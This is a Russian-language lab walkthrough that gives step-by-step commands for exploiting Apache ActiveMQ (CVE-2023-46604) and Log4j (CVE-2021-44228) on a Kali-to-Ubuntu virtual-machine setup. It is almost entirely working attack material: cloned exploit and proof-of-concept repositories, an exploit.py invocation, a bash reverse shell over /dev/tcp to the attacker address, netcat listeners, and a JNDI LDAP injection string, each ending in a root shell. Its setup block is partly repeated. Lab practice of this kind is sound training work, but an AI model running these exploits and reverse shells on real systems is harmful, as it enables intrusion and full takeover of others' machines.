
Инструкции по эксплуатации уязвимостей CVE-2021-44228 и CVE-2023-46604
Это лабораторная работа, посвященная эксплуатации уязвимости CVE-2023-46604.
Для этой лабораторной работы требуется установка двух виртуальных машин. Одна машина Kali Linux версии 2023.4 и одна машина Ubuntu версии 22.04.3 LTS. Вы можете скачать их здесь:

На машине Kali Linux:
Установка git
$sudo apt install git
Установка gedit
$sudo apt install gedit
На машине Ubuntu:
Установка git
$sudo apt install git
Установка openjdk 18
$sudo apt install openjdk-18-jdk
Установка пакета ActiveMQ 5.18.2
$sudo su
$git clone https://github.com/dcm2406/ApacheActiveMQ
$cd ApacheActiveMQ/
$tar -xf apache-activemq-5.18.2-bin.tar.gz
На машине Ubuntu Откройте окно терминала и выполните команду, как указано ниже:
$sudo su
$cd ApacheActiveMQ/apache-activemq-5.18.2/bin/linux-x86-64
$./activemq start
Проверьте статус службы:
$./activemq status
Если служба запускается успешно, на экране терминала отобразится «ActiveMQ Broker is running».
Вы также можете перейти по адресу http://127.0.0.1:8161, чтобы открыть диспетчер брокера ActiveMQ. Он содержит имя хоста, версию, идентификатор, время работы и другую информацию.
На машине Kali Linux
Загрузка ресурсов для процесса эксплуатации:
$sudo su
$git clone https://github.com/dcm2406/CVE-2023-46604
$cd CVE-2023-46604
$ls
Как вы видите, у нас есть два файла: exploit.py и poc.xml:
$cd CVE-2023-46604
$python3 -m http.server
Откройте новое окно терминала, чтобы отправить файл poc.xml на сервер цели с помощью файла exploit.py:
$sudo su
$cd CVE-2023-46604
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
После выполнения команды на целевой машине запускается приложение «Калькулятор». Это доказывает, что уязвимость была успешно использована. Продолжим создание обратной оболочки для управления целевой машиной.
Откройте новое окно терминала для прослушивания входящих соединений обратной оболочки:
$sudo su
$nc -nlvp 4444
Вернитесь в предыдущий терминал и отредактируйте файл poc.xml:
$gedit poc.xml
Замените значение gnome-calculator на bash -i >& /dev/tcp/192.168.132.130/4444 0>&1 и сохраните файл.
Снова отправьте вредоносный код:
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
Результат выполнения этой команды — получение рутовой оболочки на целевой машине. РУТ ПОЛУЧЕН!!!
Для этой лабораторной работы требуется установка двух виртуальных машин. Kali Linux версии 2023.4 и Ubuntu версии 22.04.3 LTS. Вы можете скачать их здесь:

На машине Kali Linux:
Установка git
$sudo apt install git
Установка gedit
$sudo apt install gedit
На машине Ubuntu:
Установка git
$sudo apt install git
Установка docker
$sudo apt install docker.io
На машине Ubuntu
Шаг 1: Загрузка openjdk
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
$tar -xf jdk-8u20-linux-x64.tar.gz
Шаг 2: Загрузка и сборка docker-файла
$sudo su
$git clone https://github.com/dcm2406/web-server-cve44228
$docker build -t cve44228
$docker run --network host cve44228
После выполнения приведенных выше команд у нас есть веб-сайт. Для просмотра веб-сайта вы можете использовать URL: http://<ubuntu_ip>:8080. В этом руководстве адрес будет выглядеть так: http://192.168.132.135:8080
На машине Kali Linux загрузите необходимые ресурсы для эксплуатации уязвимости
Загрузка poc
$sudo su
$git clone https://github.com/kozmer/log4j-shell-poc
$pip install -r requirement.txt
Загрузка openjdk
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
//переместите файл openjdk в каталог, содержащий файл poc
$mv jdk-8u20-linux-x64.tar.gz <путь к каталогу, содержащему файл poc>
$tar -xf jdk-8u20-linux-x64.tar.gz //распакуйте файл
Откройте новый терминал для прослушивания входящих соединений обратной оболочки:
$sudo su
$nc -nlvp 9001
Запустите LDAP и HTTP службы с файлом poc
$sudo su
$cd log4j-shell-poc
$python3 poc.py --userip 192.168.132.130 --lport 9001 --webport 8080
Команда вернет результат, похожий на следующий
[!] CVE: CVE-2021-44228
Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.132.130:1389/a}
[+] Starting Webserver on port 8080 http://0.0.0.0:8080
Listening on 0.0.0.0:1389
Здесь нас интересует только сгенерированное значение jndi. Откройте веб-браузер и введите адрес созданного ранее веб-сайта. Выполните вход, используя значение jndi. В этот момент терминал netcat получает соединение. РУТ ПОЛУЧЕН!!!
По вопросам поддержки пишите на адрес [email protected]